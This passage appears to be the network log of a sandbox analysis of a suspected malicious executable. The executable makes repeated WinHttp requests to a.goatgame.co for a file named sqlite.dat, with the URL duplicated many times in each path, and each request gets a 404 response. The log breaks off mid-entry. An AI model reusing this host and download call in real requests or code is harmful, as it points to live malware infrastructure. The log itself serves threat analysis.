                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:05 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=62U3Iq4fR3DtMbAybVX5QomHRB0o%2BmkEHs4sA3d5wdh%2FvU3icDPUmRUGadHMWGoE0eMoOY7AQuEXkxvaG3OO9zsOzfLHaDeObdAQp14C66wNftryZfbzhSoCa9YE9G%2Bh"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 6823293b1af91e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:08 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=gMIimMXKSJ6ktSLjfqk4FXq8TAiB6Orp5v6TN90gmLcZWug3YAp1Fq7n6RJcRDaIzwlNZ34qlFfIjbDGR79AlQwTNjTZV1eKr5xYIgI3Mtg9HIRJOkxX1MCHAk3b9JBH"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 6823294d09471e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:09 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=h1SAACNTUMDhjhTQEfPgnqV9VvXvz%2FIEYHQnAnB%2BVBu8AdSYudMsVT%2BcWHRjrjsZFK%2BeAM7TQkyq6dt73scmqC02Fav1XAq0SNi%2FO7ND3xcbeg%2Buy3H46b%2F69kV9CqCJ"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682329549a641e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:09 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=M65PFlpd5shPmlj%2BALkV%2BLzSjueL%2B4G8dK2YR2k5yAnsKO5cx79lsm60lhuvm8VdAChd4%2BQ3iPgmrPzlzirvHqS59qHSOOqhaBKhf1AqNMw%2F2SJHjbLNUZINSYbnSbyk"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682329591f9c1e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:10 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=jtKodjn7%2F7j1AOiB05GYJtEXfM5%2BBrzrTZcSfZx%2Bk58RQzVmswnyp502TQEHnk3QnwAqDUhvBvWkVZdpZ1ugcQI6FQZW3I%2Bl7TOAPe14DxK2qPdFTUBCqfkGU17yfwBe"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 6823295ded801e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
